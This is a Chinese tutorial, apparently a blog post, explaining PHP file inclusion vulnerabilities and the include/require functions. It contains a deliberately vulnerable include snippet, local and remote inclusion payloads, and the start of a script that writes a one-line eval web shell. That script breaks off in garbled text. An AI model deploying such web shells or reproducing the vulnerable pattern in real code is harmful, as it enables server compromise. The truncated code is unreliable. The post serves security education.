文件包含漏洞file_include

什么是文件包含?

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含

几个文件包含函数及特点

include函数
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。

include_once函数
功能与include()相同,但程序只调用一次

require函数
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

require_once函数
功能与require()相同,但程序只调用一次

常见的文件包含漏洞代码

<?php $filename = $_GET['filename']; include($filename); ?>

这样就可以去读取一个文件
payload: ?filename=xxx.xxx

一般是使用相对路径
相对当前文件的另一个文件的位置
…/即前往上一级
要回到根目录可以使用多个…/

本地文件包含

被包含的文件在服务器本地

利用方式

包含本地敏感文件, 上传文件

远程文件包含

利用方式

包含远程攻击者指定远程url文件

被包含的文件在远程服务端
要php.ini配置为允许远程包含
5.x版本之后默认为关闭状态

若要进行远程文件包含测试

在php.ini中修改allow_url_include=On

远程文件包含payload: ?page=xxx.xxx.xxx.xxx/phpinfo.php

xxx为你要远程包含的ip地址

远程包含写入一句话木马

<?php $payload = "<?php eval(\$_POST['cmd'])?>";

m y f i l e = f o p e n ( ′ d e m o . p h p

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值